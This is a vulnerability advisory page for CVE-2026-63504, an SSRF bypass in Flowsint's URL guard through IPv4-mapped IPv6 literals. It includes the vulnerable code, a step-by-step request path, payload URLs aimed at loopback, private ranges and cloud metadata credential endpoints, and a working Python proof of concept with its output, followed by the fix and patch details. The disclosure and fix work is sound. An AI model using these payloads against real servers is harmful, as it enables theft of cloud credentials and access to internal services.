CVE-2026-63504
NVD
Vulnerability Summary
Summary Flowsint's outbound SSRF guard, `validate_url_safe()` in `flowsint-core/src/flowsint_core/templates/loader/yaml_loader.py`, classifies a destination as internal by checking the URL's literal hostname against `BLOCKED_HOSTNAMES` and, when the hostname is an IP literal, against `BLOCKED_IP_RANGES` via `is_ip_blocked()`. `is_ip_blocked()` parses the address with `ipaddress.ip_address()` and tests `ip in blocked_range` against a hardcoded list of IPv4/IPv6 networks. It never unwraps IPv4-mapped IPv6 literals (`::ffff:a.b.c.d`). A mapped literal parses to an `IPv6Address`, which matches none of the IPv4 networks in `BLOCKED_IP_RANGES`, so the guard returns "not blocked" — yet the operating system still routes the request to the embedded IPv4 destination. An authenticated user creates an enricher template whose `request.url` host is the IPv4-mapped form of an internal address and runs it via the template "test" endpoint. The guard passes the URL and the Flowsint API server issues the HTTP request server-side to the embedded internal IPv4 address. Bypassed targets include (the IPv4-mapped form defeats both the IP-range list and the hostname list): - `http://[::ffff:127.0.0.1]/` — loopback (other services on the API host). - `http://[::ffff:169.254.169.254]/` — AWS/GCP/Azure instance metadata (the bare `169.254.169.254` is in `BLOCKED_HOSTNAMES`; the mapped literal is a different string and is not matched). - `http://[::ffff:10.0.0.0]/` … `[::ffff:192.168.x.x]` — RFC 1918 internal services. - `http://[::ffff:100.100.100.200]/` — Alibaba Cloud instance metadata. Severity Medium — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N` (6.4). Any authenticated Flowsint user can coerce the API server into issuing HTTP requests to internal-only destinations the guard is meant to block, and the response body is returned to the user through the template-test result. CWE-918: Server-Side Request Forgery. Impact An authenticated user (no elevated role required — `create_template` and the template-`test` endpoint both authorize with `get_current_user`) can reach internal network destinations from the Flowsint API server's network position: loopback services, RFC 1918 hosts, and — on cloud deployments — instance metadata services (`169.254.169.254`, `100.100.100.200`) that may expose IAM/RAM role credentials. The fetched response body is mapped into the template output and returned to the caller, so this is an information-disclosure SSRF, not blind. Self-hosted and multi-tenant deployments where the API server can route to these ranges are exposed. Affected versions `flowsint` <= v1.2.9 (latest release at time of report, published 2026-05-31). The `is_ip_blocked` / `validate_url_safe` implementation is unchanged at the v1.2.9 tag and at current `main` HEAD. Vulnerable code (file:line) `flowsint-core/src/flowsint_core/templates/loader/yaml_loader.py` (v1.2.9): ```python BLOCKED_IP_RANGES = [ ipaddress.ip_network("127.0.0.0/8"), ipaddress.ip_network("10.0.0.0/8"), ipaddress.ip_network("172.16.0.0/12"), ipaddress.ip_network("192.168.0.0/16"), ipaddress.ip_network("169.254.0.0/16"), ipaddress.ip_network("0.0.0.0/8"), ipaddress.ip_network("224.0.0.0/4"), ipaddress.ip_network("240.0.0.0/4"), ipaddress.ip_network("100.64.0.0/10"), ipaddress.ip_network("198.18.0.0/15"), ipaddress.ip_network("::1/128"), ipaddress.ip_network("fc00::/7"), ipaddress.ip_network("fe80::/10"), ] BLOCKED_HOSTNAMES = {"localhost", "localhost.localdomain", "metadata.google.internal", "metadata.google", "169.254.169.254"} def is_ip_blocked(ip_str: str) -> bool: try: ip = ipaddress.ip_address(ip_str) # ::ffff:127.0.0.1 -> IPv6Address for blocked_range in BLOCKED_IP_RANGES: if ip in blocked_range: # IPv6Address never matches an IPv4 network return True return False # <-- IPv4-mapped literals fall through except ValueError: return False def validate_url_safe(url: str) -> None: parsed = urlparse(url) hostname = parsed.hostname if not hostname: raise SSRFError(f"Invalid URL: no hostname found in '{url}'") hostname_lower = hostname.lower() if hostname_lower in BLOCKED_HOSTNAMES: # "::ffff:169.254.169.254" != "169.254.169.254" raise SSRFError(f"Blocked hostname: {hostname}") if is_ip_blocked(hostname): # returns False for mapped literals raise SSRFError(f"Blocked IP address: {hostname}") if parsed.scheme not in ("http", "https"): raise SSRFError(f"Blocked URL scheme: {parsed.scheme}") ``` The guard does not call `ipv4_mapped` (or any equivalent unwrap) before the range comparison, so every IPv4-mapped IPv6 literal escapes both `BLOCKED_HOSTNAMES` and `BLOCKED_IP_RANGES`. This is runtime-independent: `ipaddress.ip_address("::ffff:127.0.0.1")` is an `IPv6Address` on all supported Python versions (the project requires `>=3.12,<4.0`), and `IPv6Address in IPv4Network(...)` is always `False`. Reachability / How input reaches the sink User-controlled entry points (both authorize with `get_current_user`, i.e. any authenticated account): 1. `POST /enricher_templates` — `create_template` (`flowsint-api/app/api/routes/enricher_templates.py`). The request body is a YAML enricher template; the user fully controls `request.url`, including the host. The template is stored with `owner_id = current_user.id`. 2. `POST /enricher_templates/{template_id}/test` — `test_template`. Instantiates `TemplateEnricher` and runs `enricher.scan(...)`, which reaches `TemplateEnricher._process_single_input` (`flowsint-core/src/flowsint_core/core/template_enricher.py`): - L407 `url = YamlLoader.render_template(req.url, values)` — the attacker-controlled URL. - L411 `validate_url_safe(url)` — the incomplete guard. - L316 `response = await client.get(url, headers=headers, params=params, timeout=timeout)` — the server-side fetch, using `httpx.AsyncClient()` constructed with defaults (`follow_redirects=False`, so the bypass is in the initial request, not a redirect). So: authenticate, `POST /enricher_templates` with `request.url: "http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/"`, then `POST /enricher_templates/{id}/test`. The guard passes the URL and the server fetches the metadata endpoint, returning its body in the template-test response. PoC / Proof of concept — End-to-end reproduction (against pinned version) This PoC runs the verbatim guard code from flowsint-core v1.2.9 (`BLOCKED_IP_RANGES`, `BLOCKED_HOSTNAMES`, `is_ip_blocked`, `validate_url_safe`, copied byte-for-byte from `yaml_loader.py`) wired to the same client construction the server uses — `async with httpx.AsyncClient() as client: await client.get(url)` — exactly as `TemplateEnricher._process_single_input` does. It is executed on Flowsint's pinned runtime (`python:3.12`, `httpx>=0.28,<0.29`; the project requires `python >=3.12,<4.0` and `httpx>=0.28,<0.29`). An internal-only HTTP service holding a secret is bound to `127.0.0.1` (loopback — the strongest negative control, explicitly first in `BLOCKED_IP_RANGES`), and the guard is asked to validate the IPv4-mapped literal that targets it. ```python import asyncio, ipaddress, sys, threading from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse import httpx SECRET = "FLOWSINT_INTERNAL_SECRET_a1b2c3_RAM_STS_token" ===== VERBATIM from flowsint-core v1.2.9 yaml_loader.py ===== BLOCKED_IP_RANGES = [ ipaddress.ip_network("127.0.0.0/8"), ipaddress.ip_network("10.0.0.0/8"), ipaddress.ip_network("172.16.0.0/12"), ipaddress.ip_network("192.168.0.0/16"), ipaddress.ip_network("169.254.0.0/16"), ipaddress.ip_network("0.0.0.0/8"), ipaddress.ip_network("224.0.0.0/4"), ipaddress.ip_network("240.0.0.0/4"), ipaddress.ip_network("100.64.0.0/10"), ipaddress.ip_network("198.18.0.0/15"), ipaddress.ip_network("::1/128"), ipaddress.ip_network("fc00::/7"), ipaddress.ip_network("fe80::/10"), ] BLOCKED_HOSTNAMES = {"localhost", "localhost.localdomain", "metadata.google.internal", "metadata.google", "169.254.169.254"} class SSRFError(Exception): pass def is_ip_blocked(ip_str: str) -> bool: try: ip = ipaddress.ip_address(ip_str) for blocked_range in BLOCKED_IP_RANGES: if ip in blocked_range: return True return False except ValueError: return False def validate_url_safe(url: str) -> None: parsed = urlparse(url) hostname = parsed.hostname if not hostname: raise SSRFError(f"Invalid URL: no hostname found in '{url}'") if hostname.lower() in BLOCKED_HOSTNAMES: raise SSRFError(f"Blocked hostname: {hostname}") if is_ip_blocked(hostname): raise SSRFError(f"Blocked IP address: {hostname}") if parsed.scheme not in ("http", "https"): raise SSRFError(f"Blocked URL scheme: {parsed.scheme}") ===== END VERBATIM ===== class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode()) def log_message(self, *a): pass async def flowsint_fetch(url): # mirrors TemplateEnricher._process_single_input validate_url_safe(url) async with httpx.AsyncClient(timeout=5.0) as client: # default follow_redirects=False return (await client.get(url)).text async def main(): print(f"Python {sys.version.split()[0]} httpx {httpx.version}") port = 8765 srv = HTTPServer(("127.0.0.1", port), H) threading.Thread(target=srv.serve_forever, daemon=True).start() print(f"[setup] internal secret service bound on 127.0.0.1:{port}\n") for label, url in [ ("BYPASS IPv4-mapped loopback", f"http://[::ffff:127.0.0.1]:{port}/"), ("CONTROL bare loopback ", f"http://127.0.0.1:{port}/"), ("CONTROL hostname localhost ", f"http://localhost:{port}/"), ]: try: validate_url_safe(url); guard = "GUARD-PASSED" except SSRFError as e: guard = f"GUARD-BLOCKED ({e})" print(f"{label} | {url}\n guard verdict: {guard}") if guard == "GUARD-PASSED": body = await flowsint_fetch(url) print(f" httpx fetch : HTTP 200, body={body!r}") print(f" >>> SECRET LEAKED server-side: {SECRET in body} <<<") print() asyncio.run(main()) ``` Verbatim execution output (`docker run --rm python:3.12-slim sh -c "pip install 'httpx>=0.28,<0.29'; python e2e.py"`): ``` Python 3.12.13 httpx 0.28.1 [setup] internal secret service bound on 127.0.0.1:8765 BYPASS IPv4-mapped loopback | http://[::ffff:127.0.0.1]:8765/ guard verdict: GUARD-PASSED httpx fetch : HTTP 200, body='FLOWSINT_INTERNAL_SECRET_a1b2c3_RAM_STS_token' >>> SECRET LEAKED server-side: True <<< CONTROL bare loopback | http://127.0.0.1:8765/ guard verdict: GUARD-BLOCKED (Blocked IP address: 127.0.0.1) CONTROL hostname localhost | http://localhost:8765/ guard verdict: GUARD-BLOCKED (Blocked hostname: localhost) ``` The IPv4-mapped literal passes the verbatim guard and the real httpx client fetches the internal secret server-side; the bare-IP and hostname forms of the same destination are correctly blocked, confirming the gap is specifically the missing IPv4-mapped unwrap. Fix verification — after adding the unwrap (`if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped is not None: ip = ip.ipv4_mapped` at the top of `is_ip_blocked`), the same harness on the same runtime: ``` Python 3.12.13 httpx 0.28.1 [WITH FIX] BYPASS ::ffff:127.0.0.1 (was leaking) -> GUARD-BLOCKED (Blocked IP address: ::ffff:127.0.0.1) BYPASS ::ffff:169.254.169.254 (IMDS) -> GUARD-BLOCKED (Blocked IP address: ::ffff:169.254.169.254) BYPASS ::ffff:10.0.0.5 (RFC1918) -> GUARD-BLOCKED (Blocked IP address: ::ffff:10.0.0.5) REGRESS public ::ffff:8.8.8.8 (must pass) -> GUARD-PASSED (allowed) CONTROL bare 127.0.0.1 -> GUARD-BLOCKED (Blocked IP address: 127.0.0.1) ``` All internal IPv4-mapped vectors are blocked after the fix, the public mapped address is still allowed (no false-positive regression), and the bare-IP control still blocks. Suggested fix In `is_ip_blocked`, unwrap IPv4-mapped IPv6 addresses to their embedded IPv4 form before the range comparison, so the embedded destination is classified: ```python def is_ip_blocked(ip_str: str) -> bool: try: ip = ipaddress.ip_address(ip_str) if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped is not None: ip = ip.ipv4_mapped for blocked_range in BLOCKED_IP_RANGES: if ip in blocked_range: return True return False except ValueError: return False ``` For defense in depth, also consider resolving hostnames and validating every resolved address (a hostname that resolves to an internal IP is not currently caught, since only literal IPs are range-checked), and pinning the fetch to the validated address. A fix PR implementing the unwrap is prepared and will be linked in this advisory thread. Patches Fixed in 1.2.14. The outbound request guard now resolves the destination and refuses any address that is not publicly routable. IPv4-mapped IPv6 addresses are unwrapped and judged as the IPv4 address they map to. If an enricher template or the n8n connector must call a service on your own network, list its host (or `host:port`) in the new `SSRF_ALLOWED_PRIVATE_HOSTS` setting in `.env`. Workarounds None. Until you upgrade, do not give accounts to users you do not trust. Credits Reported independently by @tonghuaroot (first report), @JosanGeorge, and Yeting Li (@yetingli), Institute of Information Engineering, Chinese Academy of Sciences.
Affected & Patched Versions
- reconurge/flowsint <= 1.2.13
- reconurge/flowsint 1.2.14
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run reconurge/flowsint and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Dec 5, 2026Published
- Dec 5, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new reconurge/flowsint CVEsYou are reading CVE-2026-63504. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Dec 5, 2026 18:02 UTC